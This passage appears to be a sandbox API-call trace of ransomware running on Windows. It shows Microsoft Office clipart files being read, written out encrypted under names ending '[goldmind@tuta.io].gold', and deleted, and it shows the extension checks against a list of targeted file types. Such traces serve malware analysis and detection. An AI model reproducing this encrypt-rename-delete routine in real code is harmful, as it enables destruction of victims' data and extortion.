"c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x20 [0055.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.188] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.188] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.188] GetLastError () returned 0x0 [0055.188] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xed4, lpOverlapped=0x0) returned 1 [0055.190] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xee0, lpOverlapped=0x0) returned 1 [0055.190] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.190] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.190] SetEndOfFile (hFile=0x200) returned 1 [0055.190] CloseHandle (hObject=0x200) returned 1 [0055.191] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.191] SetEndOfFile (hFile=0x218) returned 1 [0055.191] CloseHandle (hObject=0x218) returned 1 [0055.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0055.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0055.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0055.192] lstrlenW (lpString=".doc") returned 4 [0055.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.192] lstrlenW (lpString=".docx") returned 5 [0055.192] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.192] lstrlenW (lpString=".pdf") returned 4 [0055.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.192] lstrlenW (lpString=".xls") returned 4 [0055.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.192] lstrlenW (lpString=".xlsx") returned 5 [0055.192] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.192] lstrlenW (lpString=".ppt") returned 4 [0055.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0055.192] lstrlenW (lpString=".zip") returned 4 [0055.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.192] lstrlenW (lpString=".rar") returned 4 [0055.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.192] lstrlenW (lpString=".bz2") returned 4 [0055.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.192] lstrlenW (lpString=".7z") returned 3 [0055.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0055.192] lstrlenW (lpString=".dbf") returned 4 [0055.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0055.192] lstrlenW (lpString=".1cd") returned 4 [0055.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0055.192] lstrlenW (lpString=".jpg") returned 4 [0055.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0055.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0055.192] lstrlenW (lpString=".doc") returned 4 [0055.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.192] lstrlenW (lpString=".docx") returned 5 [0055.192] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.192] lstrlenW (lpString=".pdf") returned 4 [0055.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.193] lstrlenW (lpString=".xls") returned 4 [0055.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.193] lstrlenW (lpString=".xlsx") returned 5 [0055.193] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.193] lstrlenW (lpString=".ppt") returned 4 [0055.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0055.193] lstrlenW (lpString=".zip") returned 4 [0055.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.193] lstrlenW (lpString=".rar") returned 4 [0055.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.193] lstrlenW (lpString=".bz2") returned 4 [0055.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.193] lstrlenW (lpString=".7z") returned 3 [0055.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0055.193] lstrlenW (lpString=".dbf") returned 4 [0055.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0055.193] lstrlenW (lpString=".1cd") returned 4 [0055.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0055.193] lstrlenW (lpString=".jpg") returned 4 [0055.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.193] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.193] lstrlenW (lpString="BS00453_.WMF") returned 12 [0055.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.193] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2436) returned 1 [0055.193] CloseHandle (hObject=0x218) returned 1 [0055.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x20 [0055.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.194] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.194] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.194] GetLastError () returned 0x0 [0055.194] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x984, lpOverlapped=0x0) returned 1 [0055.195] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x990, lpOverlapped=0x0) returned 1 [0055.196] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.196] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.196] SetEndOfFile (hFile=0x200) returned 1 [0055.196] CloseHandle (hObject=0x200) returned 1 [0055.197] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.197] SetEndOfFile (hFile=0x218) returned 1 [0055.197] CloseHandle (hObject=0x218) returned 1 [0055.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.197] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0055.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0055.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0055.198] lstrlenW (lpString=".doc") returned 4 [0055.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.198] lstrlenW (lpString=".docx") returned 5 [0055.198] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.198] lstrlenW (lpString=".pdf") returned 4 [0055.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.198] lstrlenW (lpString=".xls") returned 4 [0055.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.198] lstrlenW (lpString=".xlsx") returned 5 [0055.198] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.198] lstrlenW (lpString=".ppt") returned 4 [0055.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0055.198] lstrlenW (lpString=".zip") returned 4 [0055.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.198] lstrlenW (lpString=".rar") returned 4 [0055.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.198] lstrlenW (lpString=".bz2") returned 4 [0055.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.198] lstrlenW (lpString=".7z") returned 3 [0055.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0055.198] lstrlenW (lpString=".dbf") returned 4 [0055.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0055.198] lstrlenW (lpString=".1cd") returned 4 [0055.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0055.198] lstrlenW (lpString=".jpg") returned 4 [0055.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0055.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0055.198] lstrlenW (lpString=".doc") returned 4 [0055.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.198] lstrlenW (lpString=".docx") returned 5 [0055.198] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.198] lstrlenW (lpString=".pdf") returned 4 [0055.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.198] lstrlenW (lpString=".xls") returned 4 [0055.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.199] lstrlenW (lpString=".xlsx") returned 5 [0055.199] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.199] lstrlenW (lpString=".ppt") returned 4 [0055.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0055.199] lstrlenW (lpString=".zip") returned 4 [0055.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.199] lstrlenW (lpString=".rar") returned 4 [0055.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.199] lstrlenW (lpString=".bz2") returned 4 [0055.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.199] lstrlenW (lpString=".7z") returned 3 [0055.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0055.199] lstrlenW (lpString=".dbf") returned 4 [0055.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0055.199] lstrlenW (lpString=".1cd") returned 4 [0055.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0055.199] lstrlenW (lpString=".jpg") returned 4 [0055.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.199] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.199] lstrlenW (lpString="BS01080_.WMF") returned 12 [0055.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.200] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2732) returned 1 [0055.200] CloseHandle (hObject=0x218) returned 1 [0055.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x20 [0055.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.200] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.200] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.200] GetLastError () returned 0x0 [0055.200] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xaac, lpOverlapped=0x0) returned 1 [0055.202] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0055.203] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.203] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.203] SetEndOfFile (hFile=0x200) returned 1 [0055.203] CloseHandle (hObject=0x200) returned 1 [0055.203] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.203] SetEndOfFile (hFile=0x218) returned 1 [0055.204] CloseHandle (hObject=0x218) returned 1 [0055.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.204] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0055.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0055.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0055.204] lstrlenW (lpString=".doc") returned 4 [0055.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.204] lstrlenW (lpString=".docx") returned 5 [0055.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.204] lstrlenW (lpString=".pdf") returned 4 [0055.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.204] lstrlenW (lpString=".xls") returned 4 [0055.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.204] lstrlenW (lpString=".xlsx") returned 5 [0055.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.204] lstrlenW (lpString=".ppt") returned 4 [0055.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0055.204] lstrlenW (lpString=".zip") returned 4 [0055.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.204] lstrlenW (lpString=".rar") returned 4 [0055.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.205] lstrlenW (lpString=".bz2") returned 4 [0055.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.205] lstrlenW (lpString=".7z") returned 3 [0055.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0055.205] lstrlenW (lpString=".dbf") returned 4 [0055.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0055.205] lstrlenW (lpString=".1cd") returned 4 [0055.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0055.205] lstrlenW (lpString=".jpg") returned 4 [0055.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0055.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0055.205] lstrlenW (lpString=".doc") returned 4 [0055.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.205] lstrlenW (lpString=".docx") returned 5 [0055.205] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.205] lstrlenW (lpString=".pdf") returned 4 [0055.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.205] lstrlenW (lpString=".xls") returned 4 [0055.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.205] lstrlenW (lpString=".xlsx") returned 5 [0055.205] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.205] lstrlenW (lpString=".ppt") returned 4 [0055.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0055.205] lstrlenW (lpString=".zip") returned 4 [0055.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.205] lstrlenW (lpString=".rar") returned 4 [0055.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.205] lstrlenW (lpString=".bz2") returned 4 [0055.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.205] lstrlenW (lpString=".7z") returned 3 [0055.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0055.205] lstrlenW (lpString=".dbf") returned 4 [0055.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0055.205] lstrlenW (lpString=".1cd") returned 4 [0055.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0055.206] lstrlenW (lpString=".jpg") returned 4 [0055.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.206] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.206] lstrlenW (lpString="BS01603_.WMF") returned 12 [0055.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0056.955] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=7176) returned 1 [0056.955] CloseHandle (hObject=0x168) returned 1 [0056.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x20 [0056.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0056.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0056.956] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, 